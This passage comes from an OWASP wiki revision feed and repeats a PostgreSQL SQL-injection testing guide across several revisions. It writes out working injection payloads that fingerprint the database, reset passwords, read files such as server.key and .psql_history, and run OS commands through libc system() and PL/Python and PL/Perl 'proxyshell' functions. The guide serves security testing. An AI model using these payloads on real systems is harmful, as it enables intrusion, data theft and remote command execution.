'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not assuming that sysadm has allready installed plperl package try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;); LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;Testing for SQL Injection&amp;quot; - http://www.owasp.org/index.php/Testing_for_SQL_Injection&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36963</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36963"/>
				<updated>2008-08-22T23:03:25Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Short Description of the Issue =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we suppose that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found you need to carefully &lt;br /&gt;
fingerprint backend database engine. You can determine that backend database engine&lt;br /&gt;
is PostgreSQL by using ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL Injection you should take in consideration internal provided functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
On previous  version you can easy create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
String can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' with: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
Current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
Native function current_database() return current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two way to access local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performi a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, tcl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting it's ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'&lt;br /&gt;
* If not try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not assuming that sysadm has allready installed plperl package try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;); LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;Testing for SQL Injection&amp;quot; - http://www.owasp.org/index.php/Testing_for_SQL_Injection&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36962</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36962"/>
				<updated>2008-08-22T23:03:02Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Short Description of the Issue =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we suppose that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is a vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found you need to carefully &lt;br /&gt;
fingerprint backend database engine. You can determine that backend database engine&lt;br /&gt;
is PostgreSQL by using ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL Injection you should take in consideration internal provided functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
On previous  version you can easy create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
String can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' with: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
Current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
Native function current_database() return current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two way to access local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performi a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, tcl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting it's ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'&lt;br /&gt;
* If not try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
